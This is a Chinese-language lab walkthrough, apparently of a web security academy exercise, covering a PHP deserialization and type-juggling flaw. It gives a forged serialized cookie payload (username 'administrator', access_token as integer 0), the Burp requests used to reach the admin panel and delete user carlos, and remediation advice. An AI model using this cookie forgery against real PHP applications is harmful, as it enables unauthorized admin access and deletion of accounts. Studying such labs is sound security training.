一、漏洞原理(核心)
1️⃣ 使用 客户端可控的 PHP 序列化会话
该实验的 Web 应用将用户身份信息直接存储在 Cookie 中的 PHP 序列化对象:
O:4:"User":2:{
s:8:"username";s:6:"wiener";
s:12:"access_token";s:32:"xxxxxxxx";
}
并在服务器端 直接反序列化并信任其中的字段,这本身就违反了安全设计原则:
❌ 不可信数据不应被反序列化
❌ 客户端数据不应参与权限判断
2️⃣ PHP 7.x 及更早版本的 弱类型比较漏洞(Type Juggling)
PHP 在进行比较时存在如下行为(==):
"0" == 0 // true
"admin" == 0 // true
如果服务器端代码类似:
if ($user->access_token == 0) {
// 管理员
}
那么:
-
字符串
"0" -
整数
0 -
某些非数字字符串
在弱比较下都会被视为 0,从而绕过身份校验。
3️⃣ 漏洞本质总结(一句话)
客户端可控的 PHP 序列化对象 + PHP 弱类型比较(==)
→ 可通过修改字段"类型"实现身份认证绕过
二、漏洞利用流程(完整复现)
Step 1:正常登录
使用提供的凭据登录:
wiener : peter
Step 2:查看 Session Cookie(反序列化对象)
在 Burp 中查看登录后的请求:
GET /my-account?id=wiener
Cookie 中可看到序列化对象(Inspector 中自动解析):
O:4:"User":2:{
s:8:"username";s:6:"wiener";
s:12:"access_token";s:32:"<token>";
}
将该请求 Send to Repeater

Step 3:构造恶意序列化对象(关键)
修改点一:用户名
-
username长度改为 13 -
值改为
administrator
s:8:"username";s:13:"administrator";
修改点二:访问令牌(关键漏洞点)
原来是字符串:
s:12:"access_token";s:32:"xxxx";
修改为 整数 0:
-
删除双引号
-
类型标记
s→i
s:12:"access_token";i:0;
✅ 最终 Payload(关键结果)
O:4:"User":2:{
s:8:"username";s:13:"administrator";
s:12:"access_token";i:0;
}
Burp 会自动完成 Base64 + URL 编码。
Step 4:发送请求并验证身份绕过
发送修改后的请求:
php
GET /my-account?id=administrator
🔎 观察响应:
-
页面中出现
/admin链接 -
表明服务器已将你识别为 administrator

Step 5:访问管理面板
GET /admin
返回管理员页面,可看到用户列表。
Step 6:删除用户 carlos(完成实验)
php
GET /admin/delete?username=carlos
✔️ 用户被删除
✔️ 实验状态变为 Solved 
三、关键技术点总结(博客高亮)
| 漏洞点 | 说明 |
|---|---|
| 客户端反序列化 | Cookie 中存储完整 User 对象 |
| 缺乏完整性保护 | 无签名 / MAC / 加密 |
| PHP Type Juggling | 使用 == 导致类型混淆 |
| 权限逻辑缺陷 | access_token 可被用户控制 |
四、如何修复该漏洞(防御建议)
✅ 1️⃣ 永远不要反序列化不可信数据
-
Cookie 中只存 随机 Session ID
-
用户信息存于服务器端 Session / 数据库
✅ 2️⃣ 使用严格类型比较(PHP)
if ($token === 0) { ... } // 而不是 ==
✅ 3️⃣ 禁止客户端控制权限字段
is_admin
access_token
role
必须由服务器端生成并校验。
✅ 4️⃣ 为 Session 数据添加完整性校验
-
HMAC
-
JWT(正确配置)
-
服务端 Session 存储
五、一句话结论(实验总结)
本实验利用了 PHP 反序列化信任客户端数据 + 弱类型比较(Type Juggling)的组合漏洞,通过修改序列化字段的数据类型,成功绕过身份认证并获得管理员权限。
